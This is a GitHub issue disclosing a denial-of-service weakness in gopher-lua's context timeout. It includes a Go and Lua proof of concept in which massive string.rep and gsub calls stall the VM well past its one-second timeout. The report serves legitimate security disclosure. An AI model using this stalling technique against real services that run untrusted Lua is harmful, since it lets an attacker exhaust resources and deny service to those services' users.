Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SetContext(context.WithTimeout(...)) potentially uneffective #521

Open
suidpit opened this issue Jan 8, 2025 · 0 comments
Open

SetContext(context.WithTimeout(...)) potentially uneffective #521

suidpit opened this issue Jan 8, 2025 · 0 comments

Comments

@suidpit
Copy link

suidpit commented Jan 8, 2025

Hi, during a security audit of a piece of software using gopher-lua as a third-party dependency, we have identified a bug on the implementation of the context with timeout that can be passed to a luaVM via SetContext.

In particular, this leads to potential snippets of code capable of stalling the VM even when a timeout is explicitly set. Since this has a potential security impact (Denial Of Service), we tried to contact the maintainer of the library privately (#507), but with no success.

We believe the issue lies in the fact that the context timeout, internally, is checked on every loop of the vm, therefore if a single operation is capable to stall the VM, the timeout will not be checked. This can happen, for instance, in case of heavy string-based operations.

This is a simple proof of concept:

package main

import (
	"context"
	"fmt"
	"time"

	lua "github.com/yuin/gopher-lua"
)

func main() {
	L := lua.NewState()
	defer L.Close()

	ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
	defer cancel()

	L.SetContext(ctx)

	err := L.DoString(`
	    function test()
			-- Create a large string
		    local str = string.rep("a", 1000000)
			-- Attempt to perform a complex gsub operation
			result, err = pcall(function()
					return string.gsub(str, "a", function()
							return string.rep("b", 100)
					end)
			end)

			if not result then
					print("Gsub crashed: " .. tostring(err))
			else
					print("Gsub succeeded")
			end

			-- Attempt to create an even larger string
			result, err = pcall(function()
					return string.rep("a", 2^30)
			end)

			if not result then
					print("String creation crashed: " .. tostring(err))
			else
					print("String creation succeeded")
			end
        end
        test()
	`)

	if err != nil {
		fmt.Printf("Error executing Lua code: %v\n", err)
	}
}

The PoC was constructed by modifying the lua script used in the README example that shows how to setup the context with timeout. In our tests (both in Linux and macOS), this consistently hangs the VM for way longer than the set timeout (1 second).

The version used is the latest released (v.1.1.1).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant